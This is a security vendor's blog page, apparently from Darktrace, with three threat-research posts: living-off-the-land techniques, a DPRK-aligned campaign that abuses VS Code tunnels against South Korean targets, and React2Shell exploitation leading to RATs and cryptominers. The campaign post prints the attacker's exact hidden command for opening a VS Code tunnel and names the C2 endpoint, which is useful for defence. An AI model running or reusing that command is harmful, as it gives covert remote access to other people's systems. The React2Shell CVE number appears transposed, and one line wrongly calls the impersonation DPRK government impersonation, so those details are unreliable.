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November 3, 2021

Defending Against Living Off the Land Cyber Attacks

Find out how hackers utilize living off the land techniques to navigate environments without detection and how to safeguard against these threats.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Oakley Cox
Director of Product
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03
Nov 2021

What is Living off the Land attack?

While the term was first coined in 2013, Living off the Land tools, techniques, and procedures (TTPs) have boomed in popularity in recent years. In part, this is because the traditional approach of defensive security — blocklisting file hashes, domains, and other traces of threats encountered in previous attacks — is ill-equipped to identify these attacks. So these stealthy, often fileless attacks, have pushed their way into the mainstream.

Definition and overview

Living off the Land is a strategy which involves threat actors leveraging the utilities readily available within the target organization’s digital environment to move through the cyber kill chain. This is a popular method because It is often cheaper, easier, and more effective to make use of an organization’s own infrastructure in an attempt to attack rather than writing bespoke malware for every heist.

How does Living off the Land attack work?

Living off the Land attacks have a particular history in highly organized, targeted hacking. Advanced Persistent Threat (APT) groups have long favored Living off the Land TTPs, since evasion is a top priority. And trends show that ransomware groups are opting for human-operated ransomware that relies heavily on Living off the Land techniques, instead of commodity malware.

Among some of the most commonly used tools exploited for nefarious purposes are Powershell, Windows Management Interface (WMI), and PsExec. These tools are regularly used by network administrators as part of their daily routines, and traditional security tools reliant on static rules and signatures often have a hard time distinguishing between legitimate and malicious use.

Living off the Land attack techniques

Before a threat actor turns your infrastructure against you in a Living off the Land attack, they must be able to execute commands on a targeted system. Therefore, Living off the Land attacks are a post-infection framework for network reconnaissance, lateral movement, and persistence.

Once a device is infected, there are hundreds of system tools at the attacker’s disposal – these may be pre-installed on the system or downloaded via Microsoft-signed binaries. And, in the wrong hands, other trusted third-party administration tools on the network can also turn from friend to foe.

As Living off the Land techniques evolve, a single typical attack is hard to determine. However, we can group these TTPs in broader categories.

Microsoft-signed Living off the Land TTPs

Microsoft is ubiquitous in the business world and across industries. The Living off the Land Binaries and Scripts (LOLBAS) project aims to document all Microsoft-signed binaries and scripts that include functionality for APT groups in Living off the Land attacks. To date, there are 135 system tools on this list that are vulnerable to misuse, each aiding a different objective. These could be the creation of new user accounts, data compression and exfiltration, system information gathering, launching processes on a target destination or even the disablement of security services. Both Microsoft’s documentation of vulnerable pre-installed tools and the LOLBAS project are growing, non-exhaustive lists.

Command line exploitation

When it comes to delivering a malicious payload to the target, WMI (WMIC.exe), the command line tool (cmd.exe), and PowerShell (powershell.exe) were used most frequently by attackers, according to a recent study. These commonly exploited command line utilities are used during the configuration of security settings and system properties, provide sensitive network or device status updates, and facilitate the transfer and execution of files between devices.

Specifically, the command line group shares three key traits:

  1. They are readily available on Windows systems.
  2. They are frequently used by most administrators or internal processes to perform everyday tasks.
  3. They can perform their core functionalities without writing data to a disk.

Mimikatz

Mimikatz differs from other tools in that it is not pre-installed on most systems. It is an open-source utility used for the dumping of passwords, hashes, PINs and Kerberos tickets. While some network administrators may use Mimikatz to perform internal vulnerability assessments, it is not readily available on Windows systems.

Traditional security approaches used to detect the download, installation, and use of Mimikatz are often insufficient. There exists a wide range of verified and well documented techniques for obfuscating tooling like Mimikatz, meaning even an unsophisticated attacker can subvert basic string or hash-based detections.

Tips for stopping Living off the Land attacks

Living off the Land techniques have proven incredibly effective at enabling attackers to blend into organizations’ digital environments. It is normal for millions of credentials, network tools, and processes to be logged each day across a single digital ecosystem. So how can defenders spot malicious use of legitimate tools amidst this digital noise?

Network hygiene: As with most threats, basic network hygiene is the first step. This includes implementing the principle of least privilege, de-activating all unnecessary programs, setting up software whitelisting, and performing asset and application inventory checks. However, while these measures are a step in the right direction, with enough time a sophisticated attacker will always manage to work their way around them.

Self-Learning AI technology: This technology, exclusive to Darktrace, has become fundamental in shining a light on attackers using an organization’s own infrastructure against them. It learns any given unique digital environment from the ground up, understanding the ‘pattern of life’ for every device and user. Living off the Land attacks are therefore identified in real time from a series of subtle deviations. This might include a new credential or unusual SMB / DCE-RPC usage.

Its deep understanding of the business enables it to spot attacks that fly under the radar of other tools. With a Living off the Land attack, the AI will recognize that although usage of particular tool might be normal for an organization, the way in which that tool is used allows the AI to reveal seemingly benign behavior as unmistakably malicious.

Example of Self-Learning AI

Self-Learning AI might observe the frequent usage of Powershell user-agents across multiple devices, but will only report an incident if the user agent is observed on a device at an unusual time.

Similarly, Darktrace might observe WMI commands being sent between thousands of combinations of devices each day, but will only alert on such activity if the commands are uncommon for both the source and the destination.

And even the subtle indicators of Mimikatz exploitation, like new credential usage or uncommon SMB traffic, will not be buried among the normal operations of the infrastructure.

Final thoughts on Living off the Land techniques

Living off the Land techniques aren’t going away any time soon. Recognizing this, security teams are beginning to move away from ‘legacy’-based defenses that rely on historical attack data to catch the next attack, and towards AI that uses a bespoke and evolving understanding of its surroundings to detect subtle deviations indicative of a threat – even if that threat makes use of legitimate tools.

Thanks to Darktrace analysts Isabel Finn and Paul Jennings for their insights on the above threat find and supporting MITRE ATT&CK mapping.

Learn more about Self-Learning AI

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Oakley Cox
Director of Product

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January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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